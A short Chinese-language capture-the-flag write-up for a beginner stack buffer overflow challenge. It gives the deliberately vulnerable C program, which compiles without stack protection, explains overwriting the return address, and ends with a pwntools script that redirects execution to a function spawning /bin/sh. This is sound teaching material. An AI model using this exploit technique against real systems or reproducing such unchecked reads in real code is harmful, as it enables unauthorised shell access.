bof(Buffer Overflow)
1.题目
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void y0u_c4n7_533_m3()
{
execve("/bin/sh", (char *[]){0}, (char *[]){0});
}
int main()
{
char buf[16];
puts("This is your first bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
return 0;
}
Makefile:
bof: bof.c
gcc bof.c -fno-stack-protector -no-pie -o bof
2.思路
通过源代码可以看出buf只有16 Bytes,而read函数却要读进0x30也就是48 Bytes,这就会导致缓冲区溢出(Buffer Overflow)
然后代码中有一个y0u_c4n7_533_m3函数可以执行/bin/sh,也就是打开shell,我们可以利用缓冲区溢出把返回地址覆盖成y0u_c4n7_533_m3函数的地址,从而获取shell
利用objdump查看y0u_c4n7_533_m3函数的地址:
objdump -M intel -d ./bof # -M intel是指用intel语法
但是怎么覆盖呢?看下图:
只需要把buf(0x8和0x10)的位置占满,然后再覆盖8 Bytes把rbp覆盖掉,然后再把y0u_c4n7_533_m3函数的地址放进去即可把原来的return address顶替
3.解题脚本
from pwn import *
# r = remote("*.*.*.*",****)
r = process("./bof")
r.recvline()
r.send(b'a'*24+p64(0x400607))
r.interactive()